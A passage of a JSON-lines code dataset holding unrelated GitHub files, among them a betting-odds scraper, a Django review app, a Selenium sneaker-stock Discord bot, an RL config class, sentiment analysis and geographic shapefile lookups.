i['O2IMG'] else None\n status = 'prematch'\n start = datetime.datetime.fromtimestamp(i['S'])\n markets = {}\n if 'E' in i:\n for m in i['E']:\n if m['G'] not in TABLE_MARKETS_IDS:\n continue\n m2 = TABLE_MARKETS_IDS[m['G']]\n if m2['Название'] not in markets:\n markets[m2['Название']] = {}\n if 'P' in m:\n if m['P'] not in markets[m2['Название']]:\n markets[m2['Название']][str(m['P'])] = {m2[m['T']]: m['C']}\n else:\n markets[m2['Название']][str(m['P'])][m2['T']] = m['C']\n else:\n markets[m2['Название']][m2[m['T']]] = m['C']\n if 'MIO' in i:\n stage = i['MIO'].get('TSt')\n else:\n stage = None\n if Event.objects.filter(sport=sport, country=country, league=league, home=home, away=away, start__date=start.date()).exists():\n event = Event.objects.get(sport=sport, country=country, league=league, home=home, away=away, start__date=start.date())\n event.start = start\n event.status = status\n event.markets = markets\n event.save()\n else:\n Event.objects.create(\n xbet_id=i['I'],\n sport=sport,\n country=country,\n league=league,\n stage=stage,\n home=home,\n away=away,\n home_logo=home_logo,\n away_logo=away_logo,\n status=status,\n start=start,\n markets=markets,\n include=include,\n )\n time.sleep(30)\n\n\nif __name__ == '__main__':\n while True:\n try:\n scan_xbet()\n except requests.exceptions.ConnectionError:\n continue\n","repo_name":"mamberger/varline","sub_path":"spider_prematch.py","file_name":"spider_prematch.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"19184133512","text":"# 직사각형 길이 찾기\n# import sys\n# sys.stdin = open('input.txt','r')\n\nT = int(input())\nfor t in range(1,T+1):\n d = dict()\n num1 = list(map(int,input().split()))\n for i in num1:\n if i not in d:\n d[i] = 1\n else:\n d[i] = d[i] + 1\n\n for key,value in d.items():\n if value == 3:\n break\n elif value == 1:\n break\n print(f'#{t} {(key)}')","repo_name":"Kurman11/TIL","sub_path":"Algorithm/Algorithm_test_02/문제2.py","file_name":"문제2.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38768961052","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom .models import Center, CenterReview\nfrom .filters import CenterFilter\nfrom django.contrib import messages\nfrom django.db.models import Q\nfrom users.models import Cart\nfrom .forms import CenterReviewForm\nfrom django.core.paginator import Paginator\n\n# Create your views here.\ndef intro(request):\n return render(request, 'center_intro.html', {})\n\ndef detail(request, id):\n center = get_object_or_404(Center, id=id)\n review = center.center_review.all()\n paginator = Paginator(review, 4)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n try:\n if request.user.is_authenticated:\n cart = Cart.objects.get(user=request.user)\n return render(request, 'center_detail.html', {'center':center, 'cart':cart, 'page_obj':page_obj})\n else:\n return render(request, 'center_detail.html', {'center':center, 'page_obj':page_obj})\n except Exception as e:\n return render(request, 'center_detail.html', {'center':center, 'page_obj':page_obj})\n\ndef filter(request):\n center_list = Center.objects.all()\n center_filter = CenterFilter(request.GET, queryset=center_list)\n try:\n if request.user.is_authenticated:\n cart = Cart.objects.get(user=request.user)\n return render(request, 'center_filter.html', {'filter':center_filter, 'cart':cart})\n else:\n return render(request, 'center_filter.html', {'filter':center_filter})\n except Exception as e:\n return render(request, 'center_filter.html', {'filter':center_filter})\n\ndef view_on_map(request):\n qs = Center.objects.all()\n q = request.GET.get('q', '')\n if q:\n qs = qs.filter(Q(address__icontains=q)|Q(name__icontains=q))\n\n return render(request, 'view_on_map.html', {'center_list':qs, 'q':q})\n\ndef add_review_to_center(request, id):\n if request.user.is_authenticated:\n center = get_object_or_404(Center, id=id)\n if request.method == \"POST\":\n form = CenterReviewForm(request.POST)\n if form.is_valid():\n review = form.save(commit=False)\n review.center = center\n review.author = request.user.username\n review.save()\n return redirect('center_detail', id=center.id)\n else:\n form = CenterReviewForm()\n messages.warning(request, \"유효하지 않은 형식입니다. 다시 입력해주세요.\")\n return render(request, 'add_review_to_center.html', {'form':form})\n else:\n form = CenterReviewForm()\n return render(request, 'add_review_to_center.html', {'form':form})\n else:\n messages.warning(request, \"로그인 후 이용하실 수 있습니다.\")\n return render(request, 'add_review_to_center.html', {'form':form})\n","repo_name":"jjisol/preranaV1","sub_path":"center/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5636588827","text":"import logging\nimport multiprocessing\nimport random\nimport time\nimport discord as discord\nfrom discord.ext import commands, tasks\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom multiprocessing import Process\n\nimport bot_secrets\n\ndunks_ayer = []\ndunk_nuevas = []\n\n\nnike_page='https://www.nike.com/es/w?q=dunk&vst=dunk'\noptions = webdriver.ChromeOptions()\noptions.binary_location = \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"\ntoken = bot_secrets.bot_token\nbot = discord.Client()\n\n\n\n@tasks.loop(seconds=10)\nasync def lista_dunks():\n try:\n driver = webdriver.Chrome(ChromeDriverManager().install(), options=options)\n driver.get(nike_page)\n # Aceptar cookies\n WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, '//*[@id=\"gen-nav-commerce-header-v2\"]/div[1]/div/div[2]/div/div[2]/div[2]/button'))).click()\n\n scroll_bottom(driver)\n dunks = driver.find_elements(By.CLASS_NAME, 'product-card__img-link-overlay')\n dunks_hoy = [dunk.get_attribute('href') for dunk in dunks if 'high' not in dunk.get_attribute('href')]\n dunks_nuevas = list(filter(lambda dunk: dunk not in dunks_ayer, dunks_hoy))\n global dunks_ayer\n dunks_ayer = dunks_hoy\n print(dunks_nuevas)\n channel = bot.get_channel(1002216168163115172)\n for link in dunks_nuevas:\n await channel.send(link)\n for link in dunks_hoy: #TODO CREAR UNA POOL DE PROCESOS Y QUE CADA PROCESO COMPRUEBE EL STOCK DE LOS PARES QUE PUEDA\n await comprueba_stock(driver,channel,link)\n except Exception as e:\n logging.warning(f\"Excepción con código: {e}\")\n\n\nasync def comprueba_stock(driver, channel, link):\n #driver.get(link)\n driver.get(\"https://www.nike.com/es/launch/t/dunk-low-golden-moss\")\n tallas = driver.find_elements(By.NAME, \"skuAndSize\")\n disponibles = []\n if tallas: # Dos tipos de listings, con nombre skuAndSize y con propiedad size-available\n for talla in tallas:\n if not talla.get_attribute(\"disabled\"):\n atributo = talla.get_attribute(\"id\")\n disponibles.append(driver.find_element(By.XPATH,f\"//*[@for='{atributo}']\").text)\n\n else:\n tallas = driver.find_elements(By.XPATH, \"//*[@data-qa='size-available']\")\n for talla in tallas:\n disponibles.append(talla.text)\n\n if disponibles:\n await channel.send(link + \"\\n\" + \"\\n\".join(disponibles))\n else:\n await channel.send(link + \"\\nSin stock\")\n\n\n\nasync def work(item, count):\n name = multiprocessing.current_process().name\n logging.info(f'{name} started: {item}')\n for x in range(count):\n logging.info(f'{name}: {item} = {x}')\n time.sleep(1)\n logging.info(f'{name} finished')\n return item + ' is finished'\n\nasync def proc_result(result):\n logging.info(f'result = {result}')\n\n\n@bot.event\nasync def on_ready():\n lista_dunks.start()\n\n\ndef scroll_bottom(driver):\n SCROLL_PAUSE_TIME = 0.5\n\n # Get scroll height\n last_height = driver.execute_script(\"return document.body.scrollHeight\")\n\n while True:\n # Scroll down to bottom\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n\n # Wait to load page\n time.sleep(SCROLL_PAUSE_TIME)\n\n # Calculate new scroll height and compare with last scroll height\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\n if new_height == last_height:\n break\n last_height = new_height\n\n\nbot.run(token)\nlista_dunks.start()","repo_name":"sworfisc/sneaker_monitor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41798861386","text":"import copy\nimport dataclasses\nimport enum\nimport logging\nimport pickle\nfrom abc import ABC, abstractmethod\nfrom dataclasses import dataclass, field\nfrom typing import TYPE_CHECKING, Any, List, Optional, Tuple, Type\n\nimport numpy as np\n\nfrom srl.base.define import EnvObservationTypes, RLObservationType, RLTypes\nfrom srl.base.env.env_run import EnvRun, SpaceBase\nfrom srl.base.rl.processor import Processor\nfrom srl.base.spaces.box import BoxSpace\n\nif TYPE_CHECKING:\n from srl.base.rl.algorithms.extend_worker import ExtendWorker\n\n\nlogger = logging.getLogger(__name__)\n\n\n@dataclass\nclass RLConfig(ABC):\n processors: List[Processor] = field(default_factory=list)\n override_env_observation_type: EnvObservationTypes = EnvObservationTypes.UNKNOWN\n override_action_type: RLTypes = RLTypes.ANY # RL側がANYの場合のみ有効\n\n action_division_num: int = 5\n \"\"\"\n The number of divisions when converting from continuous to discrete values.\n If -1, round by round transform.\n \"\"\"\n # 連続値から離散値に変換する場合の分割数です。-1の場合round変換で丸めます。\n\n observation_division_num: int = -1\n \"\"\"\n The number of divisions when converting from continuous to discrete values.\n If -1, round by round transform.\n \"\"\"\n # 連続値から離散値に変換する場合の分割数です。-1の場合round変換で丸めます。\n\n extend_worker: Optional[Type[\"ExtendWorker\"]] = None\n parameter_path: str = \"\"\n remote_memory_path: str = \"\"\n use_rl_processor: bool = True # RL側のprocessorを使用するか\n\n use_render_image_for_observation: bool = False\n \"\"\" Change state input to render_image. Existing settings will be overwritten. \"\"\"\n # 状態の入力をrender_imageに変更。既存の設定は上書きされます。\n\n # --- Worker Config\n enable_state_encode: bool = True\n enable_action_decode: bool = True\n enable_reward_encode: bool = True\n window_length: int = 1\n dummy_state_val: float = 0.0\n\n # --- other\n enable_sanitize_value: bool = True\n enable_assertion_value: bool = False\n\n def __post_init__(self) -> None:\n self._is_reset = False\n self._run_processors: List[Processor] = []\n self._rl_action_type = self.override_action_type\n\n # The device used by the framework.\n self._used_device_tf: str = \"/CPU\"\n self._used_device_torch: str = \"cpu\"\n\n self._check_parameter = True\n\n def assert_params(self) -> None:\n assert self.window_length > 0\n\n def to_json_dict(self) -> dict:\n d = {}\n for k, v in self.__dict__.items():\n if k.startswith(\"_\"):\n continue\n if v is None or type(v) in [int, float, bool, str]:\n d[k] = v\n elif type(v) in [list, dict, tuple]:\n d[k] = copy.deepcopy(v)\n elif isinstance(v, bytes):\n d[k] = str(v)\n elif issubclass(type(v), enum.Enum):\n d[k] = v.name\n elif dataclasses.is_dataclass(v):\n d[k] = dataclasses.asdict(v)\n else:\n d[k] = str(v)\n return d\n\n # ----------------------------\n # RL config\n # ----------------------------\n @abstractmethod\n def getName(self) -> str:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def base_action_type(self) -> RLTypes:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def base_observation_type(self) -> RLTypes:\n raise NotImplementedError()\n\n @abstractmethod\n def get_use_framework(self) -> str:\n raise NotImplementedError()\n\n def set_config_by_env(self, env: EnvRun) -> None:\n pass # NotImplemented\n\n def set_config_by_actor(self, actor_num: int, actor_id: int) -> None:\n pass # NotImplemented\n\n def set_processor(self) -> List[Processor]:\n return [] # NotImplemented\n\n @property\n def info_types(self) -> dict:\n \"\"\"infoの情報のタイプを指定、出力形式等で使用を想定\n 各行の句は省略可能\n name : {\n \"type\": 型を指定(None, int, float, str)\n \"data\": 以下のデータ形式を指定\n \"ave\" : 平均値を使用(default)\n \"last\": 最後のデータを使用\n \"min\" : 最小値\n \"max\" : 最大値\n }\n \"\"\"\n return {} # NotImplemented\n\n # ----------------------------\n # reset config\n # ----------------------------\n def reset(self, env: EnvRun, is_logger: bool = True) -> None:\n if self._is_reset:\n return\n self._check_parameter = False\n\n if is_logger:\n logger.info(f\"--- {self.getName()}\")\n logger.info(f\"max_episode_steps : {env.max_episode_steps}\")\n logger.info(f\"player_num : {env.player_num}\")\n logger.info(f\"observation_type(env) : {env.observation_type}\")\n logger.info(f\"observation_space(env): {env.observation_space}\")\n\n # env property\n self.env_max_episode_steps = env.max_episode_steps\n self.env_player_num = env.player_num\n\n self._env_action_space = env.action_space # action_spaceはenvを使いまわす\n rl_observation_space = env.observation_space\n rl_env_observation_type = env.observation_type\n\n # -----------------------\n # observation\n # -----------------------\n\n # --- observation_typeの上書き\n if self.override_env_observation_type != EnvObservationTypes.UNKNOWN:\n rl_env_observation_type = self.override_env_observation_type\n if is_logger:\n logger.info(f\"override observation type: {rl_env_observation_type}\")\n\n self._run_processors = []\n if self.enable_state_encode:\n # --- add processor\n if self.use_render_image_for_observation:\n from srl.rl.processors.render_image_processor import RenderImageProcessor\n\n self._run_processors.append(RenderImageProcessor())\n self._run_processors.extend(self.processors)\n if self.use_rl_processor:\n self._run_processors.extend(self.set_processor())\n\n # --- processor\n for processor in self._run_processors:\n rl_observation_space, rl_env_observation_type = processor.preprocess_observation_space(\n rl_observation_space,\n rl_env_observation_type,\n env,\n self,\n )\n if is_logger:\n logger.info(f\"processor obs space: {rl_observation_space}\")\n logger.info(f\"processor obs type : {rl_env_observation_type}\")\n\n # --- window_length\n self._one_observation = rl_observation_space\n if self.window_length > 1:\n rl_observation_space = BoxSpace(\n (self.window_length,) + self._one_observation.shape,\n np.min(self._one_observation.low),\n np.max(self._one_observation.high),\n )\n if is_logger:\n logger.info(f\"window_length obs space: {rl_observation_space}\")\n\n self._rl_observation_space = rl_observation_space\n self._rl_env_observation_type = rl_env_observation_type\n\n # --- obs type\n # 優先度\n # 1. RL\n # 2. obs_space\n rl_obs_type = self.base_observation_type\n if rl_obs_type == RLTypes.ANY:\n rl_obs_type = self._rl_observation_space.rl_type\n self._rl_observation_type = rl_obs_type\n\n # check type\n _f = False\n if rl_obs_type == RLTypes.DISCRETE:\n if rl_env_observation_type not in [\n EnvObservationTypes.DISCRETE,\n EnvObservationTypes.SHAPE3,\n EnvObservationTypes.SHAPE2,\n ]:\n _f = True\n if _f:\n if is_logger:\n logger.warning(f\"EnvType and RLType do not match. {rl_env_observation_type} != {rl_obs_type}\")\n\n # -----------------------\n # action type\n # -----------------------\n # 優先度\n # 1. RL\n # 2. override_action_type\n # 3. action_space\n rl_action_type = self.base_action_type\n if rl_action_type == RLTypes.ANY:\n rl_action_type = self.override_action_type\n if rl_action_type == RLTypes.ANY:\n rl_action_type = self._env_action_space.rl_type\n self._rl_action_type = rl_action_type\n\n # --- base obs type\n base_obs_type = self.base_observation_type\n if base_obs_type == RLTypes.ANY:\n base_obs_type = self._rl_observation_space.rl_type\n\n # --- division\n # RLが DISCRETE で Space が CONTINUOUS なら分割して DISCRETE にする\n if (self._rl_action_type == RLTypes.DISCRETE) and (self._env_action_space.rl_type == RLTypes.CONTINUOUS):\n self._env_action_space.create_division_tbl(self.action_division_num)\n if (base_obs_type == RLTypes.DISCRETE) and (self._rl_observation_space.rl_type == RLTypes.CONTINUOUS):\n self._rl_observation_space.create_division_tbl(self.observation_division_num)\n\n # --- set rl property\n if self._rl_action_type == RLTypes.DISCRETE:\n self._action_num = self.action_space.n\n self._action_low = np.ndarray(0)\n self._action_high = np.ndarray(self._action_num - 1)\n else:\n # ANYの場合もCONTINUOUS\n self._action_num = self.action_space.list_size\n self._action_low = np.array(self.action_space.list_low)\n self._action_high = np.array(self.action_space.list_high)\n\n # --- option\n self.set_config_by_env(env)\n\n self._is_reset = True\n if is_logger:\n logger.info(f\"action_space(env) : {self._env_action_space}\")\n logger.info(f\"action_type(rl) : {self._rl_action_type}\")\n logger.info(f\"observation_env_type(rl): {self._rl_env_observation_type}\")\n logger.info(f\"observation_type(rl) : {self._rl_observation_type}\")\n logger.info(f\"observation_space(rl) : {self._rl_observation_space}\")\n\n def __setattr__(self, name, value):\n if name == \"_is_reset\":\n object.__setattr__(self, name, value)\n return\n\n if hasattr(self, \"_check_parameter\"):\n if self._check_parameter and not hasattr(self, name):\n logger.warning(f\"An undefined variable was assigned. {name}={value}\")\n\n # configが書き変わったら reset が必要\n if name in [\n \"processors\",\n \"override_env_observation_type\",\n \"override_action_type\",\n \"action_division_num\",\n \"use_render_image_for_observation\",\n \"use_rl_processor\",\n \"enable_state_encode\",\n \"enable_action_decode\",\n \"window_length\",\n ]:\n self._is_reset = False\n object.__setattr__(self, name, value)\n\n # ----------------------------\n # utils\n # ----------------------------\n @property\n def name(self) -> str:\n return self.getName()\n\n @property\n def is_reset(self) -> bool:\n return self._is_reset\n\n @property\n def run_processors(self) -> List[Processor]:\n return self._run_processors\n\n @property\n def used_device_tf(self) -> str:\n return self._used_device_tf\n\n @property\n def used_device_torch(self) -> str:\n return self._used_device_torch\n\n @property\n def action_space(self) -> SpaceBase:\n return self._env_action_space\n\n @property\n def action_type(self) -> RLTypes:\n return self._rl_action_type\n\n @property\n def observation_space(self) -> SpaceBase:\n return self._rl_observation_space\n\n @property\n def observation_shape(self) -> Tuple[int, ...]:\n return self._rl_observation_space.shape\n\n @property\n def observation_type(self) -> RLTypes:\n return self._rl_observation_type\n\n @property\n def env_observation_type(self) -> EnvObservationTypes:\n return self._rl_env_observation_type\n\n def copy(self, reset_env_config: bool = False) -> Any:\n config = self.__class__()\n config._check_parameter = False\n\n for k, v in self.__dict__.items():\n if isinstance(v, EnvRun):\n continue\n try:\n setattr(config, k, pickle.loads(pickle.dumps(v)))\n except TypeError as e:\n logger.warning(f\"'{k}' copy fail.({e})\")\n\n if reset_env_config:\n config._is_reset = False\n else:\n config._is_reset = self._is_reset\n return config\n\n def create_dummy_state(self, is_one: bool = False) -> RLObservationType:\n if is_one:\n return np.full(self._one_observation.shape, self.dummy_state_val, dtype=np.float32)\n else:\n return np.full(self.observation_shape, self.dummy_state_val, dtype=np.float32)\n\n # ----------------------------------\n # rl use property(reset後に使えます)\n # ----------------------------------\n @property\n def action_num(self) -> int:\n return self._action_num\n\n @property\n def action_low(self) -> np.ndarray:\n return self._action_low\n\n @property\n def action_high(self) -> np.ndarray:\n return self._action_high\n\n\n@dataclass\nclass DummyConfig(RLConfig):\n name: str = \"dummy\"\n\n @property\n def base_action_type(self) -> RLTypes:\n return RLTypes.ANY\n\n @property\n def base_observation_type(self) -> RLTypes:\n return RLTypes.ANY\n\n def get_use_framework(self) -> str:\n return \"\"\n\n def getName(self) -> str:\n return self.name\n","repo_name":"pocokhc/simple_distributed_rl","sub_path":"srl/base/rl/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":13902,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"21"} +{"seq_id":"71886312054","text":"# liu hu lexicon sentiment analysis\n# adapted from http://www.nltk.org/_modules/nltk/sentiment/util.html - demo_liu_hu_lexicon\nfrom nltk.corpus import opinion_lexicon\nfrom nltk.tokenize import treebank\ntokenizer = treebank.TreebankWordTokenizer()\n\ndef sentiment_liu_hu(text):\n pos_words = 0\n neg_words = 0\n tokenized_sent = [word.lower() for word in tokenizer.tokenize(text)]\n\n for word in tokenized_sent:\n if word in opinion_lexicon.positive():\n pos_words += 1\n elif word in opinion_lexicon.negative():\n neg_words += 1\n\n if pos_words > neg_words:\n return 1\n elif pos_words < neg_words:\n return -1\n elif pos_words == neg_words:\n return 0\n\n# assigning only positive and negative may be too rash, we should somehow take into account the number \n# of words and the difference between the number of positive words and the number of negative words\ndef sentiment_liu_hu_mod(text):\n pos_words = 0\n neg_words = 0\n tokenized_sent = [word.lower() for word in tokenizer.tokenize(text)]\n\n for word in tokenized_sent:\n if word in opinion_lexicon.positive():\n pos_words += 1\n elif word in opinion_lexicon.negative():\n neg_words += 1\n \n return (pos_words - neg_words)/len(tokenized_sent)\n\n# load from pickle\ncountries_dict = pickle.load( open( \"countries_dict.p\", \"rb\" ) )\n\ncountry_sentiment_liu = {}\ncountry_sentiment_liu_mod = {}\ncountry_count = {}\nemail_num = 1\nnum_emails = len(emails.ExtractedBodyText)\n\n# Step 1 - compute cumulative scores and number of mentions\nfor text in emails.ExtractedBodyText:\n \n #debug info\n if email_num % 1000 == 0:\n print(\"Email number %d/%d\" % (email_num,num_emails))\n email_num += 1\n \n if text is not np.nan: # skip text if invalid\n # split text into lines\n lines_list = tokenize.sent_tokenize(text)\n # for each line search for countries and perform sentiment \"analysis\"\n for line in lines_list:\n countries_found = None\n countries_found = list(set([countries_dict[c] for c in countries_dict.keys() if c in line]))\n if countries_found is not None: # if found country, perform sentiment analysis\n score = sentiment_liu_hu_mod(line)\n # update score for each country\n for country in countries_found:\n try:\n country_sentiment_liu_mod[country] += score\n country_sentiment_liu[country] += np.sign(score)\n country_count[country] += 1\n except: # if country not yet in dictionary\n country_sentiment_liu_mod[country] = score\n country_sentiment_liu[country] = np.sign(score)\n country_count[country] = 1","repo_name":"BeforeRain/AppliedDataAnalysis","sub_path":"05 - Taming Text/liu_hu_sentiment_analysis.py","file_name":"liu_hu_sentiment_analysis.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30113791905","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 11 08:41:20 2022\n\n@author: juani\n\"\"\"\n\n#8.7\nimport csv\n\nfrom fileparse import parse_csv\n\ndef leer_camion(archivo):\n with open(archivo) as f:\n contenido_camion= parse_csv(f, has_headers=True)\n return contenido_camion\n\n\ndef leer_precios(archivo):\n with open(archivo) as f:\n lista_precios= parse_csv(f, has_headers=False)\n return lista_precios\n\n\ndef imprimir_informe(nombre_archivo1,nombre_archivo2):\n camion = leer_camion(nombre_archivo1)\n precios = leer_precios(nombre_archivo2)\n headers = ('Nombre', 'Cajones', 'Precio', 'Cambio')\n sep = ('----------')\n print(f'{headers[0]:>10s} {headers[1]:>10s} {headers[2]:>10s} {headers[3]:>10s}')\n print(f'{sep:>10s} {sep:>10s} {sep:>10s} {sep:>10s}')\n for s in camion:\n lista = ((s['nombre'], s['cajones'], '$' + str(s['precio']), precios[0][1] - s['precio']))\n print('%10s %10d %10s %10.2f' % lista)\n\n \n# def informe_camion(nombre_archivo_camion, nombre_archivo_precios):\n# leer_camion(nombre_archivo_camion)\n# leer_precios(nombre_archivo_precios)\n# imprimir_informe(nombre_archivo_camion, nombre_archivo_precios)\n\n# camion=leer_camion('../Data/camion.csv')\n\n# precio=leer_precios('../Data/precios.csv')\ninforme=imprimir_informe('../Data/camion.csv','../Data/precios.csv')\n# informe_camion('../Data/fecha_camion.csv','../Data/precios.csv')","repo_name":"juanamolinalucia2001/python2C-unsam2022","sub_path":"Clase08/informe_final.py","file_name":"informe_final.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73177556211","text":"import media\r\nimport fresh_tomatoes\r\n\r\n#Information about toy story\r\ntoy_story = media.Movie(\"Toy Story\",\r\n \"A story of a by and his toys that can\",\r\n \"http://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\",\r\n \"https://www.youtube.com/watch?v=KYz2wyBy3kc\")\r\n#Information about avatar\r\navatar = media.Movie(\"Avatar\",\r\n \"Avatar is a 2009 American science fiction adventure movie\",\r\n \"https://images-na.ssl-images-amazon.com/images/M/MV5BMTYwOTEwNjAzMl5BMl5BanBnXkFtZTcwODc5MTUwMw@@._V1_.jpg\",\r\n \"https://www.youtube.com/watch?v=5PSNL1qE6VY&t=2s\")\r\n\r\n#Information about hunger games\r\nhunger_games = media.Movie(\"Hunger Games\",\r\n \"This article is about the book series. \",\r\n \"https://images-na.ssl-images-amazon.com/images/M/MV5BMjA4NDg3NzYxMF5BMl5BanBnXkFtZTcwNTgyNzkyNw@@._V1_SY1000_CR0,0,674,1000_AL_.jpg\",\r\n \"https://www.youtube.com/watch?v=mfmrPu43DF8\")\r\n#Information about la la land\r\nla_la_land = media.Movie(\"La la land\",\r\n \"La La Land is a 2016 American musical romantic comedy-drama film\",\r\n \"https://images-na.ssl-images-amazon.com/images/M/MV5BMzUzNDM2NzM2MV5BMl5BanBnXkFtZTgwNTM3NTg4OTE@._V1_SY1000_SX675_AL_.jpg\",\r\n \"https://www.youtube.com/watch?v=0pdqf4P9MB8\")\r\n#Information about John wick\r\njohn_wick = media.Movie(\"John Wick\",\r\n \" Chapter 1, is a 2014 American neo-noir action thriller film\",\r\n \"https://images-na.ssl-images-amazon.com/images/M/MV5BMTU2NjA1ODgzMF5BMl5BanBnXkFtZTgwMTM2MTI4MjE@._V1_SY1000_CR0,0,666,1000_AL_.jpg\",\r\n \"https://www.youtube.com/watch?v=2AUmvWm5ZDQ\")\r\n#Information about John wick\r\nthe_best_of_me = media.Movie(\"The Best Of Me\",\r\n \"The Best of Me is a 2014 American romantic drama film \",\r\n \"https://upload.wikimedia.org/wikipedia/en/6/68/The_Best_of_Me_poster.jpg\",\r\n \"https://www.youtube.com/watch?v=cQszhfoP_WI\")\r\n\r\n\r\nmovies = [toy_story, avatar, hunger_games,la_la_land,john_wick,the_best_of_me]\r\nfresh_tomatoes.open_movies_page(movies)\r\n","repo_name":"BasmaAshraf21/Movie-website","sub_path":"Movie-website/entertainment.py","file_name":"entertainment.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"86413706793","text":"#!/usr/bin/env python3\nimport fileinput\nimport re\n\n\ndef cross_join(strs1, strs2):\n result = set()\n for str1 in strs1:\n for str2 in strs2:\n result.add(str1 + str2)\n return result\n\n\ninput = fileinput.input()\n\nrules = []\nfor line in input:\n if not line.strip():\n break\n rules.append(line.strip())\n\ngraph = {}\nwhile rules:\n next_rules = []\n for rule in rules:\n rule_match = re.fullmatch(r'(\\d+): (.+)', rule)\n rule_no = int(rule_match[1])\n\n character_rule_match = re.fullmatch(r'\"(\\w+)\"', rule_match[2])\n if character_rule_match:\n graph[rule_no] = {character_rule_match[1]}\n else:\n reference_rules = []\n for r in rule_match[2].split(' | '):\n reference_rules.append(list(map(int, r.split(' '))))\n\n if all((r in graph) for r in sum(reference_rules, [])):\n str_rules = []\n for ref_rule in reference_rules:\n str_rules.append(list(map(graph.get, ref_rule)))\n\n new_rule = set()\n for str_rule in str_rules:\n strs = str_rule[0]\n for r in str_rule[1:]:\n strs = cross_join(strs, r)\n new_rule.update(strs)\n graph[rule_no] = new_rule\n else:\n next_rules.append(rule)\n rules = next_rules\n\nwords = set()\nfor rule_words in graph.values():\n words.update(rule_words)\n\nresult = 0\nfor line in input:\n if line.strip() in words:\n result += 1\nprint(result)\n","repo_name":"jupblb/aoc-2020","sub_path":"day19/solve1.py","file_name":"solve1.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30357944283","text":"# Frames por segundo\nfps = 32\n\n# Dimensões do Game\nWIDTH = 1000\nHEIGHT = 1000\n\n# Variáveis do game\ntile_size = 50\ngame_over = 0\nmain_menu = True\nlevel = 0\nmax_levels = 7\nscore = 0\n\n# Definir cores\nWHITE = (255, 255, 255)\nBROWN = (82, 48, 6)","repo_name":"the-akira/CC33Z","sub_path":"Cursos/Desenvolvimento de Games 2D/Games/Platformer/Game/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"pt","doc_type":"code","stars":57,"dataset":"github-code","pt":"21"} +{"seq_id":"36720173486","text":"from shapely.geometry import Point, Polygon\nimport shapefile\n\n\n# Function to locate Country with latitude and longitude\n# Argument as coordinates longitude, latitude, and file path of shapefile\n# Return value as Country name\ndef locate_country(lon, lat, country_fp):\n # Read the shapefile\n crf = shapefile.Reader(country_fp)\n\n # Returns a list of Shape objects describing the geometry of\n # each shape record\n shapes_countries = crf.shapes()\n country_polygons = {}\n\n for i, record in enumerate(crf.records()):\n # The border is at the position of index 3\n country_polygons[record[1]] = Polygon(shapes_countries[i].points)\n\n # Make the lat and lon a Point object\n pt = Point(lon, lat) # appears that longitude first, latitude second\n this_country = \"\"\n for c, p in country_polygons.items():\n # Check if p contains the point\n if p.contains(pt):\n this_country = c\n break\n\n return this_country\n\n\n# Function to locate State with latitude and longitude\n# Argument as coordinates longitude, latitude, and file path of shapefile\n# Return value as State name\ndef locate_state(lon, lat, state_fp):\n # Read the shapefile and store the\n sf = shapefile.Reader(state_fp)\n\n # Returns a list of Shape objects describing the geometry of\n # each shape record\n shapes_states = sf.shapes()\n state_polygons = {}\n\n for i, record in enumerate(sf.records()):\n # The boarder is at the position of index 5\n state_polygons[record[5]] = Polygon(shapes_states[i].points)\n\n # Make the lat and lon a Point object\n pt = Point(lat, lon)\n this_state = \"\"\n for s, p in state_polygons.iteritems():\n # Check if p contains the point\n if p.contains(pt):\n this_state = s\n break\n\n return this_state\n\n\n# Function to locate County with latitude and longitude\n# Argument as coordinates longitude, latitude, and file path of shapefile\n# Return value as County name\ndef locate_county(lon, lat, county_fp):\n # Read the shapefile\n cf = shapefile.Reader(county_fp)\n\n # Returns a list of Shape objects describing the geometry of\n # each shape record\n shapes_counties = cf.shapes()\n\n county_polygons = {}\n # print(cf.records())\n for i, record in enumerate(cf.records()):\n # The boarder is at the position of index 5\n county_polygons[record[5]] = Polygon(shapes_counties[i].points)\n\n # Make the lat and lon a Point object\n pt = Point(lat, lon)\n this_county = \"\"\n\n for c, p in county_polygons.iteritems():\n # Check if p contains the point\n if p.contains(pt):\n this_county = c\n break\n\n return this_county\n\n\n# Testing the above functions\n# test_coord = Point(-86.990100, 40.332937)\n# print(locate_state(45.016302, -79.609751, 'C:/_Study/crowdsourcing/tl_2017_us_state/tl_2017_us_state'))\n# print locate(40.332937, -86.990100, 